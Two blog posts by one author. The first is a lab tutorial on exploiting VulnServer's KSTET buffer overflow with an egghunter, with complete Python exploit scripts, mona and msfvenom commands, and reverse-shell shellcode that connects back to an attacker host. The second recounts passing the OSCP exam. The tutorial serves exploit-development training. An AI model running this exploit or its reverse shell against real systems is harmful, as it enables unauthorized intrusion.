During my OSCP study, I went down the Buffer Overflow rabbit hole and found myself going a bit further than needed. I found out I really freaking like binary exploitation! Today, I am going to talk about Egg Hunters. Egg Hunters are used when we don’t have enough room after the EIP overwrite to execute anything worth our time (i.e., a shell, system command, etc.). An Egg Hunter is a small set of bytecode that is effectively a loop looking for a pre-defined string (that we define) in memory and when it finds that string, it will execute whatever is after. The code after our pre-defined string being our exploitation bytecode.

To put this into context, let’s say we have two FTP parameters that store data on the stack (USER, PASS). Let’s say that the PASS parameter is susceptible to a BOF attack and we can easily gain control of EIP. However, we only have maybe 20-30 bytes after the EIP overwrite to store any bytecode and that’s just not enough space to do anything useful. In comes the USER parameter. It’s not susceptible to a Buffer Overflow necessarily however, it might give us enough buffer space to store our shellcode. In this case, we would have a two-stage execution where we conduct the following:

  1. Connect to the FTP server.
  2. Send our Reverse Shell Payload in the USER parameter.
  3. Send our Egghunter plus the EIP Overwrite to JMP ESP in the PASS Parameter.

Okay, let’s dig in.

[hr]

Setup:

Here is the setup that is being used during the entire write-up:

  • [Attacker] Kali 2018.4 x86_64
  • [Victim] Windows XP SP3 Build 2600
  • [Vulnerable Binary] VulnServer
  • [Language] Python 3.6.6
  • [Debugger] Immunity

Some of you might be asking why Python 3? That’s fair since the python 3 socket library is different than the 2.7 library and that’s really why I am using it, to learn. The biggest difference you will note is that when you send your data to the server, it has to be in a byte object and not a string object whereas 2.7 doesn’t give a shit.

[hr]

Fuzzing:

Our first goal is to identify which parameters are vulnerable but since VulnServer has a few, we’re going to start with the KSTET Parameter. In order to get a better idea on how many parameters there are, below is the available listing.

VulnServer Parameters

We send 1,000 A’s (\x41) with the KSTET parameter and we see we overflow the buffer.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*1000

s.send(b"KSTET %s \r\n" % buf)

s.close()

[hr]

Controlling EIP:

Just like we do with any BOF, let’s get the offset of EIP so we can start the process of controlling EIP.

  • pattern_create.rb -l 1000

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
pattern = (b'''Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B''')

buf = b""
buf += pattern

s.send(b"KSTET %s \r\n" % buf)

s.close()

We then verify the Immunity EIP value.

EIP Offset

And use the pattern_offset to file the true offset of EIP:

  • pattern_offset.rb -q 63413363
    • Offset = 70

Now, let’s send a new payload to do two different things. The first goal is to verify we do have control of EIP by writing all B’s into EIP and the next goal is to check how much space we have after the EIP overwrite to place our shellcode. We do this by sending 600 C’s. The new code looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*EIP_OFFSET
buf += b"B"*4
buf += b"C"*600

s.send(b"KSTET %s \r\n" % buf)

s.close()

Immunity shows that yes, we have control of EIP as there are now 4 B’s (\x42) residing in the EIP register, however, we only have 28 Bytes of space after the EIP overwrite. As stated in the beginning of this tutorial, that’s just not enough, we need more space.

EIP Verify

Overflow Space

[hr]

Determine Bad Characters:

Before we start digging into other parameters we can place our shellcode into, let’s determine the bad characters. Here is our new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Bad Characters:
bad_chars = [0x00,0x0a]
chars = b""
for i in range(0x00,0xFF+1):
    if i not in bad_chars:
        chars += bytes([i])
with open("bad_chars.bin", "wb") as f:
    f.write(chars)

# Send data to the KSTET Parameter:
buf = b""
buf += chars
s.send(b"KSTET %s \r\n" % buf)

s.close()

In looking at the bad characters, it’s apparent that we don’t have enough space to review the whole array of bytes. As such, I conducted the overflow in three separate operations:

  • Operation 1: 0x00 – 0x60
  • Operation 2: 0x60 – 0xC0
  • Operation 3: 0xC0 – 0xFF

Bad Characters were determined to be: 0x00, 0x0A, 0x0D

[hr]

Finding JMP ESP:

Since I am using VISTA as the victim, there will be little to no protection (DEP,ASLR). That means we can just ask mona to look for the JMP ESP opcode (\xFF\xE4) and choose any of the results.

JMP ESP

I’m just going to use the first result (0x7C874F13). To make sure we have full control and are able to execute the JMP ESP instruction, let’s restart the vulnserver in Immunity and set a break point at the address. Here is the new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A" * EIP_OFFSET
buf += JMP_ESP
s.send(b"KSTET %s \r\n" % buf)

s.close()

And we have a successful JMP ESP.

Breakpoint Hit

[hr]

Building the Egghunter:

Okay, we know that we only have about 28 Bytes after the EIP overflow to work with. That wont fit our egghunter byte code. In that case, we will inject our egghunter before the EIP overwrite and then add the instruction JMP SHORT -48 after the EIP overwrite to jump back to our egghunter. What we need to figure out now is which parameter can successfully take an input of about 350-450 bytes of data and not throw an exception or overflow the buffer. Let’s build a fuzzing script to do that for us.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"GTER",b"HTER",b"LTER",b"KSTAN"]

for i in range(0,len(parameters)):
    print("[+] Sending %s"% str(parameters[i]))
    buf = b""
    buf += parameters[i]
    buf += b" "
    buf += b"A" * 500
    s.send(b"%s\r\n" % buf)
    time.sleep(1)

Right away, we find that the GTER parameter causes an overflow. Let’s remove that and test again.  After the second test, we see that the rest of the parameters ran successfully without causing an overflow or an exception. This means that maybe, we can store our shellcode in one of these parameters and have the egghunter find it in memory. Now that we know the parameters, let’s add this to our script and build a two payload program.

To generate the egghunter code, we will use mona.

!mona egg -cpb "\x00\x0a\x0d" -t loki

Generate Egghunter

The image above shows our shellcode. The generated shellcode will also be listed in an egghunter.txt document located at C:/Program Files/Immunity Inc/Immunity Debugger.

Now let’s generate some shellcode. For testing, I am just going to send the command calc.exe. The syntax to generate this shellcode is:

msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f c

Our new script looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xce\xba\x5b\x24\x91\xbf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xef\xfc\x31\x57\x14\x03\x57\x4f\xc6\x64\x43\x87\x84"
"\x87\xbc\x57\xe9\x0e\x59\x66\x29\x74\x29\xd8\x99\xfe\x7f\xd4"
"\x52\x52\x94\x6f\x16\x7b\x9b\xd8\x9d\x5d\x92\xd9\x8e\x9e\xb5"
"\x59\xcd\xf2\x15\x60\x1e\x07\x57\xa5\x43\xea\x05\x7e\x0f\x59"
"\xba\x0b\x45\x62\x31\x47\x4b\xe2\xa6\x1f\x6a\xc3\x78\x14\x35"
"\xc3\x7b\xf9\x4d\x4a\x64\x1e\x6b\x04\x1f\xd4\x07\x97\xc9\x25"
"\xe7\x34\x34\x8a\x1a\x44\x70\x2c\xc5\x33\x88\x4f\x78\x44\x4f"
"\x32\xa6\xc1\x54\x94\x2d\x71\xb1\x25\xe1\xe4\x32\x29\x4e\x62"
"\x1c\x2d\x51\xa7\x16\x49\xda\x46\xf9\xd8\x98\x6c\xdd\x81\x7b"
"\x0c\x44\x6f\x2d\x31\x96\xd0\x92\x97\xdc\xfc\xc7\xa5\xbe\x6a"
"\x19\x3b\xc5\xd8\x19\x43\xc6\x4c\x72\x72\x4d\x03\x05\x8b\x84"
"\x60\xf9\xc1\x85\xc0\x92\x8f\x5f\x51\xff\x2f\x8a\x95\x06\xac"
"\x3f\x65\xfd\xac\x35\x60\xb9\x6a\xa5\x18\xd2\x1e\xc9\x8f\xd3"
"\x0a\xaa\x4e\x40\xd6\x03\xf5\xe0\x7d\x5c")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

The script is broken down into two different stages. Each stage generates a new socket call to the vulnerable server, this is important. Also, take note to the Stage 1 s.send(). You can see I have added the b"lokiloki" to it. This is the string that the egghunter is going to look for in memory. When you generate the egg hunter with mona and read the .txt file it generates, it will explicitly tell you what text to put there. Let’s break down what is happening at each stage.

Stage 1:

In stage one, we connect to the vulnerable server and start a for loop. The for loop loops through the parameters array using each value to send the shellcode payload. We don’t know which parameter will truly hold our shellcode so hell, why not try them all! And that’s effectively what we are doing here. It’s also important to note that a 1-second time delay is necessary at the end of each loop iteration. Without that one second time delay, we outpace the server and never give it a chance to take action on the command we just sent.

Stage 2:

Stage two is where the real magic happens. We create a new socket and connect to the vulnerable server once again. This time, we send the egghunter between two sets of NOP’s, overwrite the EIP register with our JMP ESP instruction memory address, and then we have a custom instruction we wrote (\xEB\xCE) that’s loaded into the stack per our overflow and executed after the JMP ESP instruction. Let’s take a look at this instruction and why we have it in our payload.

Our egghunter shellcode is still a bit too big to be loaded after the JMP ESP. However, we know we have a total of 70 bytes before the EIP overwrite and therefore we can use that space to store our egghunter and then jump back to it with a custom instruction. In this case, I want to jump back 48 Bytes to the middle of our first NOP sled. We can use the nasm_shell.rb to give us the correct opcode to use as seen in the image below.

NASM

Let’s put a breakpoint in Immunity at our JMP ESP and step through what is going on here.

JMP SHORT -48

When we hit our breakpoint we jumped forward 1 instruction (F7) to get to our JMP SHORT instruction highlighted in blue in the leftmost image. When we move forward again (1 instruction) we see we jump to a lower memory address putting us 4 NOP Bytes before our egghunter. Perfect!

The egghunter is going to start a loop looking for the lokiloki string in memory in an attempt to find our shellcode and execute it. If we let the rest of the code run it’s course, we get calc.exe to pop and we know we have full code execution!

calc.exe

[hr]

Reverse Shell:

Now that we have a fully working exploit, let’s resplace the calc.exe shellcode with a reverse shell and see what happens.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.136 LPORT=443 -b'\x00\x0a\x0d' -f c

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xc7\xd9\x74\x24\xf4\xb8\xca\x84\x12\x1c\x5a\x33\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\x88\x97\xf0\xe9\xf0\x70\x76"
"\x11\x08\x81\x17\x9b\xed\xb0\x17\xff\x66\xe2\xa7\x8b\x2a\x0f"
"\x43\xd9\xde\x84\x21\xf6\xd1\x2d\x8f\x20\xdc\xae\xbc\x11\x7f"
"\x2d\xbf\x45\x5f\x0c\x70\x98\x9e\x49\x6d\x51\xf2\x02\xf9\xc4"
"\xe2\x27\xb7\xd4\x89\x74\x59\x5d\x6e\xcc\x58\x4c\x21\x46\x03"
"\x4e\xc0\x8b\x3f\xc7\xda\xc8\x7a\x91\x51\x3a\xf0\x20\xb3\x72"
"\xf9\x8f\xfa\xba\x08\xd1\x3b\x7c\xf3\xa4\x35\x7e\x8e\xbe\x82"
"\xfc\x54\x4a\x10\xa6\x1f\xec\xfc\x56\xf3\x6b\x77\x54\xb8\xf8"
"\xdf\x79\x3f\x2c\x54\x85\xb4\xd3\xba\x0f\x8e\xf7\x1e\x4b\x54"
"\x99\x07\x31\x3b\xa6\x57\x9a\xe4\x02\x1c\x37\xf0\x3e\x7f\x50"
"\x35\x73\x7f\xa0\x51\x04\x0c\x92\xfe\xbe\x9a\x9e\x77\x19\x5d"
"\xe0\xad\xdd\xf1\x1f\x4e\x1e\xd8\xdb\x1a\x4e\x72\xcd\x22\x05"
"\x82\xf2\xf6\x8a\xd2\x5c\xa9\x6a\x82\x1c\x19\x03\xc8\x92\x46"
"\x33\xf3\x78\xef\xde\x0e\xeb\xd0\xb7\x28\x63\xb8\xc5\x48\x72"
"\x82\x43\xae\x1e\xe4\x05\x79\xb7\x9d\x0f\xf1\x26\x61\x9a\x7c"
"\x68\xe9\x29\x81\x27\x1a\x47\x91\xd0\xea\x12\xcb\x77\xf4\x88"
"\x63\x1b\x67\x57\x73\x52\x94\xc0\x24\x33\x6a\x19\xa0\xa9\xd5"
"\xb3\xd6\x33\x83\xfc\x52\xe8\x70\x02\x5b\x7d\xcc\x20\x4b\xbb"
"\xcd\x6c\x3f\x13\x98\x3a\xe9\xd5\x72\x8d\x43\x8c\x29\x47\x03"
"\x49\x02\x58\x55\x56\x4f\x2e\xb9\xe7\x26\x77\xc6\xc8\xae\x7f"
"\xbf\x34\x4f\x7f\x6a\xfd\x7f\xca\x36\x54\xe8\x93\xa3\xe4\x75"
"\x24\x1e\x2a\x80\xa7\xaa\xd3\x77\xb7\xdf\xd6\x3c\x7f\x0c\xab"
"\x2d\xea\x32\x18\x4d\x3f")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

And, we’re Admin!

Admin Shell

[hr]

Thoughts on Python3:

I decided to use Python3 for this tutorial because I use it for just about everything. That is, with the exception of exploit development. Python 2.7 is my goto for Buffer Overflow development and honestly, I think I am going to keep that the same. The subtle buy annoying nuances of making sure everything was typecast to a bytes object sucked. Many times the objects would be sent oddly and not trigger the right response I was looking for. Python 2.7 allows strings in the s.send() method which, makes things much easier to deal with.

Anyhow, Python3 is still amazing and I will use it as my daily driver, with the exception of BOF exploit development!

Happy Thanksgiving!

Vulnserver KSTET Egg Hunter with Python3
Joshua

OSCP: Passing

By: Joshua
28 October 2018 at 01:28

Sevro Security
OSCP: Passing

I’m humbled to finally be able to say that I am an OSCP! I was able to get 80/100 points on my second exam attempt last Friday and received the pass email on the following Monday.

I wanted to take some time and post about my experience and the way I personally managed the exam itself. There are already a significant amount of blog posts from extremely talented individuals talking about their methods to their success and although I will touch on that, I really wanted to focus on exam management. Essentially, how I set up my pre-exam workspace in order to make my flow and reporting easier. This was critical to passing the second time around. Having a single one-stop place to view the systems, their enumeration, and their exploits were incredibly helpful in pivoting and exam reporting.

[hr]

OSCP PWK Course and Exam Review:

Incredible. Purely incredible! Over the last year and a half, I have been teaching myself this skillset but, there’s a point you reach where a more formal approach to building this skillset is needed. Well, at least I needed that. OSCP gave me that and then some. Long story short, if you are looking for something extremely challenging that is practical, no bullshit, with a straight up prove yourself then this is the path you want to go down. Let’s talk about the Exam process a bit more during my second attempt:

[hr_invisible]

Before the Exam:

My first Exam attempt was a 10:00 and I burned myself too fast. My second attempt I started my exam at 16:00. This was way better than an early morning start, for me at least. But, a few hours before my second exam I set up everything ahead of time and I suggest everyone do the same.

  • Start your Kali box and verify network connectivity and disk space on the VM.
  • Create a full snapshot of the VM a few hours before the exam.
  • Create the directory you will be working from for the whole exam:
    • /opt/OSCP/EXAM_2 –> this was mine
  • Start necessary services you may need and verify logins/auth works:
    • FTP, TFTP, SSH, etc.
  • Open Firefox, Burpsuite, Terminal w/ TMUX, and Sparta.
  • Open up CherryTree and generate your Box Flow, I did it on a per-node basis like so:
    • (25) <IP_ADDR>
    • (25) <IP_ADDR>
    • (20) <IP_ADDR>
    • (20) <IP_ADDR>
    • (10) <IP_ADDR>
  • In Terminal, have a TMUX window for NMAP Scans and generate your NMAP syntax in different frames on the same window.

This is how I organized the whole exam from start to finish. Anytime I compromised a host, I changed the color of the host from black to green in Cherrytree, saved my screenshots for everything, and made sure I have the proofs.txt/local.txt and continued on.

[hr_invisible]

The Exam:

When 16:00 rolled around, I had my headphones on and started working directly on a 25 point box and within 30 min, I had compromised one (1) 25 pointer. A few hours later I had knocked out the 10 pointer and a 20 pointer for a total of 55 points.  I had three (3) boxes compromised and decided to take 15 min and get some food. When I came back I started working on the second 25 point host and by 23:00 local, I had it buttoned up for a total of 80 points. I backed up all my progress, made sure I had ample proof and screenshots and went to bed. I got up around 08:00 and told myself I would work on the last host (20 points) until 12:00 and if I didn’t get it, I would start on my report. I did this because I had to fly out early on Sunday morning for some work stuff and would not have time to compile the report on Sunday. Well, I could not figure out the last box so I started on the report and worked on it from 12:00 on Saturday afternoon to 01:00 on Sunday morning. Monday afternoon, I got word from Offensive Security that I had passed and holy shit I am still PUMPED about it!

Final Thoughts:

OSCP was an amazing experience that the folks at Offensive Security put a shit ton of effort into (maybe passion is the more accurate term). There’s nothing else like it out there! Without a doubt, I could not recommend the course and certification path more. If you’re still reading this and have not jumped into the PWK course let me just say this, there will never be a “good” time to start and you are not going to be 100% ready. We all work, a lot of us have kids and families, but this is worth the work!

[hr]

OSCE, here I come.

OSCP: Passing
Joshua

❌
❌